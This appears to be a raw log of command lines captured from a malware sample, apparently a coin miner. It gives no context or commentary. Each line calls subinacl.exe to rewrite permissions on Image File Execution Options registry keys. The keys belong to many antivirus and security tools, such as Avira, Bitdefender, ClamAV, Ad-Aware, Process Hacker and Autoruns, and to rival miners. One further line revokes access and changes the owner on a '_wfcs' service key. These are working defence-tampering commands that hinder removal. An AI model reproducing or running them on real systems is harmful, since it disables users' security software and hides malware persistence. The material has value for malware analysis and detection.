'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Hkufhbj.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HitmanPro x64.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer-browser.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /g...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardUpdate.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmsh.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmss.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForcerX+__.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForServiceApp.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FrameworkService.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frdpb_v2.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frog.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fsproflt2.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud15.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\firewall_rules.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fmefsh.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fixmapi.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud16.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GeekBuddyRSP.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GlassWire.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Go.EXE" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R ...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gotopbr.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWCtlSrv.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GWIdlMon.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gy.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R ...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hale.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\help.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\helper.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fwnrww.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gcclient.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDSC.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpx.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cputest.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_x64_SSE2.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear5.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atiecla.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auditd.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoDENGI.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVENGINE.EXE" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgarkt.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcefrend.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.ServiceHost.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Avira.Systray.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpmapp.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdwtxag.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avz.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnTray.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduHips.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduProtect.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bbservice.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcn.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdagent.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDALeakfixer.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDdaSvc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bddownloader.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMiniDlUpdate.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASMAIN.EXE" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCTray.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASCService.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ApVxdWin.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'<Current directory>\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\_wfcs" /revoke=S-1-5-32-545 /revoke=S-1-5-32-544 /revoke=S-1-5-32-578 /revoke=S-1-5-18=R /setowner=S-1-5-32-546 /revoke=S-1-3-0 /de...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Pastebin Spider.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SombraLock.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\anvirlauncher.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\1sass.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3306.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a1g.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2guard.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdsafecenter.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2service.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BaiduAnSvc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aawservice.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareDesktop.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareService.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdAwareTray.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Adguard.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdguardSvc.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-3...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Antivirus_Free_Edition_x86.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ANTIVIR▄.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AnVir.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\apgr.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2start.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfcs.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acs.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578=R...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ASP.NET.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu-32" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-57...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cefutil.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cgminer.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chromodo_updater.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ciprotect.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clamd.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClamSentinel.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ClearLock.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Client Server Runtime Procces.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdvirth.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdhtr.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-578...
'%WINDIR%\subinacl.exe' /keyreg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bmc-cpu.exe" /grant=S-1-5-32-545=R /grant=S-1-5-32-544=R /grant=S-1-1-0=R /grant=S-1-5-32-5...
